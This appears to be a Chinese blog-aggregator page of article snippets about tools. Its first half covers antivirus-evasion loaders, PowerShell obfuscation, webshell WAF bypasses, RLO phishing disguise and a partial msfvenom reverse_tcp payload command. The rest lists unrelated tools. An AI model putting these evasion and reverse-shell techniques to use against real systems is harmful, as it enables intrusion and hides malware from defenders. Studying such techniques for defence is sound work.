加壳免杀工具
-
ConsoleApplication818项目免杀（CreateThreadpoolWait+VEH Hook Load）
效果 可以看到成功上线 这个先不做免杀，之后补充
-
PowerShell木马免杀利器: Invoke-Obfuscation(过火绒)
Invoke-Obfuscation工具下载地址: https://github.com/danielbohannon/Invoke-Obfuscation Invoke-Obfuscation是一款PowerShell混淆工具，可以将PowerShell脚本加密，使得它的检测和分析变得更加困难。该工具包含多种加密方法，可以单独使用也可以结合使用，以提高混淆的效果。Invoke-Obfuscation还有多个选
-
WAF攻防-权限控制&代码免杀&异或运算&变量覆盖&混淆加密&传参
webshell检测平台 https://scanner.baidu.com/#/pages/intro https://ti.aliyun.com/#/webshell 对比工具代码-菜刀蚁剑冰蝎哥斯拉等 对比WAF规则-函数匹配工具指纹等 1.php 传参带入 ?a=ass x=cGhwaW5mbygpOw== 2.php 变量覆盖 x=cGhwaW5mbygpOw== 3.php 加密变异 http://www.phpjm.net/ 4.php 异或运算 5.php 脚本生成器 Webshel
-
ConsoleApplication17_2项目免杀（Fiber+VEH Hook Load）
加载方式Fiber+VEH Hook Load Fiber是纤程免杀，VEH是异常报错，hook使用detours来hook VirtualAlloc和sleep，通过异常报错调用实现主动hook 纤程Fiber的概念：纤程是比线程的更小的一个运行单位。可以把一个线程拆分成多个纤程，然后通过人工转换纤程，从而让各个纤程工作。线程的实现
-
免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall
cs 上线 1. 生成 shellcode-c 或者 python 2. 打开 pycharm 工具，创建一个 py 文件，将原生态执行代码复制进去 shellcode 执行代码： 3.将生成的shellcode放到执行代码中，运行代码，cs成功上线 MSF 上线 1.执行命令，生成shellcode 命令：msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.206.129
-
-
2、安全开发-Python-Socket编程&端口探针&域名爆破&反弹Shell&编码免杀
用途：个人学习笔记，欢迎指正！ 目录 主要内容： 一、端口扫描(未开防火墙情况) 1、Python关键代码: 2、完整代码：多线程配合Queue进行全端口扫描 二、子域名扫描 三、客户端，服务端Socket编程通信cmd命令执行 1、客户端: 2、服务端： 四、python代码shellCode编码免杀后门上线
-
【红队APT】钓鱼篇&Office-CVE漏洞&RLO隐藏&压缩包释放&免杀打包捆绑
经过免杀后的exe程序(xgpj.exe)，进行重命名，在gpl位置插入Unicode控制字符，RLO(从左到右覆盖)，如图 成功上线 后续修改图标，进行钓鱼伪装 演示环境：Winrar压缩软件 打包后进行RLO隐藏，主要是免杀问题 https://github.com/JohnHammond/msdt-follina 该漏洞首次发现在2022年5月27日，由白俄
-
-
第116天：免杀对抗-EDR&Syscall-hook&DLL反射注入&白加黑&隐写分离&加载器
知识点 演示案例： 总结
-
【免杀前置课——PE文件结构】十八、数据目录表及其内容详解——数据目录表（导出表、导入表、IAT表、TLS表）详解；如何在程序在被调试之前反击？TLS反调试（附代码）
数据目录表：可选PE头最后一个成员，就是数据目录.一共有16个 分别是：导出表、导入表、资源表、异常信息表、安全证书表、重定位表、调试信息表、版权所以表、全局指针表 TLS表、加载配置表、绑定导入表、IAT表、延迟导入表、COM信息表 最后一个保留未使用,默认为0。
-
站长工具大全，站长工具哪个好用，站长在线工具
现在哪个站长工具比较好用？ 对于站长工具每个站长需求不一样，所以没有所谓的哪个好用，另个每个站长工具都有其特点，适合自己的才是最好的。 推荐一款我自己用的站长工具大全（www.seo9.cc），都是在线工具不用下载，使用方便，可以满足90%站长的需求。 我自己用爱
-
猿创征文｜工具百宝箱-数据库连接工具-接口调试与测试工具-抓包工具
工具没有绝对意义上的好坏之分，只有需求适合与否，这些需求可能包括：功能、价格、安全、服务、技术等诸多方面。 技术在更新迭代，开发者工具也在更新迭代。一个高效趁手的工具在工作上锦上添花。给大家分享一下我平时用的一部分工具。 官方活动入口：「猿创征
-
小工具——筛选图像小工具
最近在公司手动筛图片，需要将某些含有检测目标的图像手动筛选出来用于做新模型的测试。我最开始是两个文件夹，来回复制粘贴，后来感觉这种效率太低了，就随手写了一个图像筛查小工具。代码如下： 首先要选择两个文件夹，一个用来导入数据，另外一个用来保存数据
-
An工具介绍之3D工具
创建完成之后，我们保存一下。 【3D旋转工具】快捷键是 Shift + W 。（工具栏找不到的去下方三个小点里面找） 有什么作用呢？ 我们先用【矩形工具】画一个矩形。 然后用【选择工具】将它选中， F8 转化为元件，取名为“矩形”。 然后我们点击【3D旋转工具】。 可以发现有
-
什么是远程工具，远程工具推荐
在当今数字化时代，远程工作正在变得越来越普遍。这种趋势不仅使企业管理更加便利，节省了时间和资源，同时也使员工更加自由和灵活。许多远程工作都需要使用到远程工具。本文将对远程工具进行简介和阐述。 什么是远程工具 远程工具是一种数字化的解决方案，用于
-
工具分享：在线键盘测试工具
在数字化时代，键盘作为我们与计算机交互的重要媒介之一，其性能和稳定性直接影响到我们的工作效率和使用体验。为了确保键盘的每个按键都能正常工作，并帮助用户检测潜在的延迟、连点等问题，一款优质的在线键盘测试工具显得尤为重要。本文将详细介绍一款备受推
-
网络安全工具合计(攻防工具)
目录 All-Defense-Tool 免责声明 半/全自动化利用工具 信息收集工具 资产发现工具 子域名收集工具 目录扫描工具 指纹识别工具 端口扫描工具 Burp插件 浏览器插件 邮箱钓鱼 社工个人信息收集类 APP/公众号/小程序相关工具 常用小工具 漏洞利用工具 漏洞扫描框架/工具 中间件/应用
-
Dotnet工具箱：开源、免费的纯前端工具网站，带你探索10大工具分类和73个实时在线小工具
大家好，我是沙漠尽头的狼。 Dotnet工具箱是一个纯前端的、开源和免费的工具网站，周末我参考了开源项目it-tools，对网站界面文字进行了汉化，并重新部署了网站。该网站共有10大工具分类，提供了73个实时在线小工具。使用Vue3开发的Dotnet工具箱具有独特的特色，本文详细
-
【工具】Raycast – Mac提效工具
🌈个人主页: 鑫宝Code 🔥热门专栏: 闲话杂谈｜ 炫酷HTML | JavaScript基础 💫个人格言: \\\"如无必要，勿增实体\\\" 以前看到同事们锁屏的时候，不知按了什么键，直接调出这个框，然后输入 lock 屏幕就锁了。 跟我习惯的按 Mac 开机键不大一样。个人觉得还是蛮炫酷的～ 但是由于